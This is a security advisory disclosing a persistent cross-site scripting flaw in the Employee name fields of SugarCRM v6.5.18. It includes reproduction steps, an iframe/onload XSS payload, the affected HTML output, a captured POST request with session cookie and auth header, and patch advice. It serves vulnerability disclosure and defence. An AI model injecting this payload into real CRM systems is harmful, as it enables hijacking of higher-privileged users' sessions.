SugarCRM v6.5.18 - Employee Persistent XSS Vulnerability

Document Title:
===============
SugarCRM v6.5.18 - Employee Persistent XSS Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2257


Release Date:
=============
2020-11-13


Vulnerability Laboratory ID (VL-ID):
====================================
2257


Common Vulnerability Scoring System:
====================================
5.1


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
2.000€ - 3.000€


Product & Service Introduction:
===============================
SugarCRM empowers your marketing, sales and services teams to collaborate across the entire customer lifecycle for more 
meaningful, memorable experiences. More than 2 million users in 120 countries have switched to SugarCRM to fuel extraordinary 
customer experiences. We have disrupted the market with a relentless pursuit of innovation and visionary solutions, 
bringing the world’s first no-touch, time-aware CX platform. The CX suite aggregates the millions of different data points 
on your customers and turns them into proactive truths, trends and predictions for you to leverage.

(Copy of the Homepage: https://www.sugarcrm.com )



Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent cross site scripting web vulnerability in the official SugarCRM v6.5.18 web-application.


Affected Product(s):
====================
SugarCRM
Product: SugarCRM v6.5.18 - CRM (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2020-05-03: Researcher Notification & Coordination (Security Researcher)
2020-05-04: Vendor Notification (Security Department)
2020-05-24: Vendor Notification (Security Department)
****-**-**: Vendor Response/Feedback (Security Department)
****-**-**: Vendor Fix/Patch (Service Developer Team)
****-**-**: Security Acknowledgements (Security Department)
2020-11-13: Public Disclosure (Vulnerability Laboratory)



Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted Authentication (Guest Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the official SugarCRM v6.5.18 web-application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to 
compromise browser to web-application requests from the application-side.

The persistent cross site web vulnerability is located in the  First Name and  Last Name input fields of the 
Create Employee module. Remote attackers are able to inject malicious script code as firstname and lastname 
to manipulate the EditView&module=Call (Scheduling Section) module. Remote attackers with low privileged sugarcrm 
accounts are able to inject own malicious script code as employee. Higher privileged application user accounts will 
execute the script code on preview of the Call information to e.g gain moderator or administrator rights via session 
hijacking, phishing or further persistent manipulative web attacks. The request method to inject is POST and the attack 
is limited to registered user accounts.

Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent 
external redirects to malicious source and persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Employee

Vulnerable Input(s):
[+] First name
[+] Last name

Vulnerable Parameter(s):
[+] first_name
[+] last_name

Affected Module(s):
[+] EditView&module=Call (Scheduling)


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote attackers with low privileged user account and with low user interaction.
For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Open the sugarcrm application
2. Login as low privileged user account or register as user
3. Inject payload inside of the first_name and last_name parameter (add(admin/manager)/edit(admin/manager/user)/register(user/manager))
4. Save the create or submit on register
5. Move to the calls, click the user and the code executes in the scheduling section next to the user account information
Note: The script code executes immediatly each time on preview for users, managers and administrators
6. Successful reproduce of the persistent cross site scripting web vulnerability!


PoC: Payload
">%20<iframe%20src=evil.source%20onload=alert(document.domain)>


PoC: Vulnerable Source
<div class="schedulerDiv"><h3>Scheduling</h3><table id="schedulerTable"><tbody><tr class="schedulerTopRow"><th colspan="38">
<h4>Monday May 4 2020</h4></th></tr><tr class="schedulerTimeRow"><td>&nbsp;</td><th scope="col" colspan="4">2:00pm</th>
<th scope="col" colspan="4">3:00</th><th scope="col" colspan="4">4:00</th><th scope="col" colspan="4">5:00</th>
<th scope="col" colspan="4">6:00</th><th scope="col" colspan="4">7:00</th><th scope="col" colspan="4">8:00</th>
<th scope="col" colspan="4">9:00</th><th scope="col" colspan="4">10:00</th><td>&nbsp;</td></tr><tr class="schedulerAttendeeRow">
<td scope="row"><img src="index.php?entryPoint=getImage&amp;themeName=Sugar5&amp;imageName=Users.gif" align="absmiddle">
&nbsp; h"[first_name]>%20<iframe%20src=evil.source%20onload=alert(document.domain)> m[lastname_name]">%20<iframe%20src=evil.source%20onload=alert(document.domain)></td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td>
<td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;
</td><td>&nbsp;</td><td class="schedulerSlotCellStartTime" style="background-color: rgb(77, 94, 170);">&nbsp;</td><td class="schedulerSlotCellEndTime">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;
</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;
</td><td>&nbsp;</td><td class="schedulerAttendeeDeleteCell" nowrap="">
<a title="rem" class="listViewTdToolsS1" style="text-decoration:none;" href="javascript:SugarWidgetScheduleRow.deleteRow('1');">
&nbsp;<img src="index.php?entryPoint=getImage&amp;themeName=Sugar5&amp;imageName=delete_inline.gif" alt="rem" border="0" align="absmiddle"> rem</a>
</td></tr></tbody></table></div>


--- PoC Session Logs [POST] ---
https://sugar-crm.localhost:8000/index.php
Host: sugar-crm.localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 886
Origin: https://sugar-crm.localhost:8000
Authorization: Basic dGVzdGVyMjM6Y2hhb3M2NjYhISE=
Connection: keep-alive
Referer: https://sugar-crm.localhost:8000/index.php
Cookie: PHPSESSID=unjusi3e126co9vvru08ebp010; sugar_user_theme=Sugar5; ck_login_id_20=1; ck_login_language_20=en_us
module=Employees&record=1&isDuplicate=false&action=Save&return_module=Employees&return_action=DetailView&return_id=1&module_tab=&contact_role=&
relate_to=Employees&relate_id=1&offset=1&employee_status=Active&first_name=h">%20<iframe%20src=evil.source%20onload=alert(document.domain)>&
last_name=m">%20<iframe%20src=evil.source%20onload=alert(document.domain)>&title=Administrator&
phone_work=&department=&phone_mobile=&reports_to_name=&reports_to_id=&phone_other=&phone_fax=&phone_home=&messenger_type=&
messenger_id=&description=&address_street=&address_city=&address_state=&address_postalcode=&address_country=&Users_email_widget_id=0&
emailAddressWidget=1&[email protected]&Users0emailAddressId0=395c86c7-4a1d-f114-5b93-519b4090cdd7&Users0emailAddressPrimaryFlag=Users0emailAddress0&Users0emailAddressVerifiedFlag0=true&
[email protected]&useEmailWidget=true
-
POST: HTTP/1.1 302 Moved Temporarily
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Type: text/html; charset=UTF-8
Location: index.php?action=DetailView&module=Employees&record=1
Server: Microsoft-IIS/8.5
Set-Cookie: ck_login_id_20=1; Max-Age=7776000; path=/; domain=sugar-crm.localhost:8000
ck_login_language_20=en_us;  Max-Age=7776000; path=/; domain=sugar-crm.localhost:8000
sugar_user_theme=Sugar5;  Max-Age=31536000
X-Powered-By: ASP.NET
Content-Length: 184


References:
https://sugar-crm.localhost:8000/index.php
https://sugar-crm.localhost:8000/index.php?action=DetailView&module=Employees&record=1


Solution - Fix & Patch:
=======================
The vulnerability can be patched following the next steps ...
1. Restrict the input fields and disallow special chars for the first_name and last_name values
2. Escape and encode the contents which are transmitted from the inputs
3. Parse and sanitize the vulnerable scheduling section ouput location to ensure its filtered securely


Security Risk:
==============
The security risk of the persistent cross site web vulnerability in the sugarcrm web-application is estimated as medium.


Credits & Authors:
==================
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


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=========================
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